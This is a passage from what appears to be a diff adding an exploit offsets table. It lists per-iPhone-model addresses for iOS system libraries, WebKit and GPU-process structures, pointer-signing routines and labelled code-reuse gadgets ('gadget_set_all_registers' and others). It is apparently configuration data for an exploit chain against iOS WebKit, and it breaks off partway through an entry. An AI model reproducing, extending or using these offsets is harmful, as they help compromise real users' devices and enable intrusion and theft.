ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da778n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cabf8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc09870n, + libsystem_c__atexit_mutex : 0x1ed6e6d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5f80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271760000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ad28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887af8n, + WebCore__initPKContact_value : 0x1ed887b00n, + WebCore__PAL_getPKContactClass : 0x1ed87efb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8862d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8862c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8862b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bf00n, + }, + "iPhone14,5_22G90": { + __pthread_head : 0x2690e0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa3e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9278n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708108n, + free_slabs : 0x1ed7c1890n, + gadget_control_1_ios184 : 0x23ed1d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da778n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cabf8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc09870n, + libsystem_c__atexit_mutex : 0x1ed6e6d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5f80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271760000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ad28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887af8n, + WebCore__initPKContact_value : 0x1ed887b00n, + WebCore__PAL_getPKContactClass : 0x1ed87efb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8862d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8862c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8862b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bf00n, + }, + "iPhone14,6_22G90": { + __pthread_head : 0x26908c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95e90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ec952ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ca378b4n, + libGPUCompilerImplLazy_cstring : 0x23bb81870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25788fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271708000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + }, + "iPhone14,7_22G90": { + __pthread_head : 0x2694a8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa5a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9438n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7082c8n, + free_slabs : 0x1ed7c1a50n, + gadget_control_1_ios184 : 0x23ed312ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da938n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cad38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc1d870n, + libsystem_c__atexit_mutex : 0x1ed6e6ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6140n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25792fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b6c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87aee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887cb8n, + WebCore__initPKContact_value : 0x1ed887cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c0c0n, + }, + "iPhone14,8_22G90": { + __pthread_head : 0x2694a8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa5a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9438n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7082c8n, + free_slabs : 0x1ed7c1a50n, + gadget_control_1_ios184 : 0x23ed312ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da938n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cad38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc1d870n, + libsystem_c__atexit_mutex : 0x1ed6e6ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6140n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25792fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b6c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87aee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887cb8n, + WebCore__initPKContact_value : 0x1ed887cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c0c0n, + }, + "iPhone15,2_22G90": { + __pthread_head : 0x26a224020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd578n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + 